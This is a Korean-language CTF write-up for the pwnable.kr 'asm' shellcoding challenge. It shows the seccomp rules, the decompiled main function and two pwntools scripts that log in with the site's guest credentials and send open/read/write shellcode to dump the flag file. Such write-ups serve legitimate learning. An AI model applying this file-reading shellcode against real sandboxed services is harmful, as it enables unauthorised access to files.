[pwnable.kr]asm

seccomp걸려 있는 바이너리다. orw랑 exit밖에 사용 못한다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

메인이다. 0x4141414000 위치에 0x1000만큼 매핑해주는데 이 주소를 실행해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // ST18_8
  size_t v4; // rdx

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to shellcoding practice challenge.");
  puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
  puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
  puts("If this does not challenge you. you should play 'asg' challenge :)");
  s = mmap(0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
  memset(s, 144, 0x1000uLL);
  v4 = strlen(stub);
  memcpy(s, stub, v4);
  printf("give me your x64 shellcode: ", stub, argv);
  read(0, s + 46, 1000uLL);
  alarm(10u);
  chroot("/home/asm_pwn");
  sandbox();
  (s)("/home/asm_pwn");
  return 0;
}

s함수를 실행하기전에 stub을 넣어주는데 코드를 보면 rip, rsp 빼고 범용레지스터 다 초기화해준다.

   0x41414000:	xor    rax,rax
   0x41414003:	xor    rbx,rbx
   0x41414006:	xor    rcx,rcx
   0x41414009:	xor    rdx,rdx
   0x4141400c:	xor    rsi,rsi
   0x4141400f:	xor    rdi,rdi
   0x41414012:	xor    rbp,rbp
   0x41414015:	xor    r8,r8
   0x41414018:	xor    r9,r9
   0x4141401b:	xor    r10,r10
   0x4141401e:	xor    r11,r11
   0x41414021:	xor    r12,r12
   0x41414024:	xor    r13,r13
   0x41414027:	xor    r14,r14
   0x4141402a:	xor    r15,r15

파일 이름 스택에 push하고 orw해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
s = ssh('asm','pwnable.kr',port=2222,password='guest')
e = ELF('./asm')
p = s.connect_remote('localhost', 9026)
file = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

s='''
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

add rsp, 0x300
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100 
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
syscall
'''

p.recvuntil('shellcode:')
p.send(asm(shellcraft.amd64.pushstr(file)) + asm(s))

p.interactive()

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
s = ssh('asm','pwnable.kr',port=2222,password='guest')
e = ELF('./asm')
p = s.connect_remote('localhost', 9026)

file = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

payload = shellcraft.amd64.pushstr(file)
payload += shellcraft.amd64.open('rsp',0,0)
payload += shellcraft.amd64.read('rax','rsp',100)
payload += shellcraft.amd64.write(1,'rsp',100)

p.recvuntil('shellcode:')
p.send(asm(payload))

p.interactive()